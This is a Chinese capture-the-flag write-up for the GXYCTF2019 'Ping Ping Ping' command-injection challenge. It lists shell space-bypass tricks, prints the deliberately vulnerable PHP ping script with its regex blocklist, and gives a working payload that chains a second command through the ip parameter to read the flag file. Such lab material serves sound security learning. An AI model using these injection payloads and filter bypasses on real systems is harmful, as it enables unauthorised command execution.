[GXYCTF2019]Ping Ping Ping
打开靶场
[ACTF2020 新生赛]Exec
尝试直接使用管道符
命令执行漏洞利用及绕过方式总结
常用的绕过方式:
${IFS}
$IFS$1
<
<>
{cat,flag.PHP} //用逗号实现空格功能
%09 //需要PHP环境
一一尝试得到payload
使用$IFS$1与其他得到的提示不一样
查看源代码:
/?ip=
<pre>/?ip=
<?PHP
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}
?>
也就是说,使用正则匹配对参数,例如{},<>,* ,?,空格,bash,flag等进行了过滤,才会有我们刚才看到的各种提示
这里观察到有个a变量,使用shell_exec命令进行了shell命令执行,然后将结果返回到a变量中,最后输出a shell_exec命令
ps:这里的ping -c 4就是发送4条请求
参考大佬们的wp
尝试利用a进行变量覆盖绕过flag过滤
构造payload:
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.PHP
得到flag
还有很多其他解法,参考这位佬的博客,他进行了详细的总结,受益匪浅:
有关[GXYCTF2019]Ping Ping Ping 做题总结
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 [email protected] 举报,一经查实,本站将立刻删除。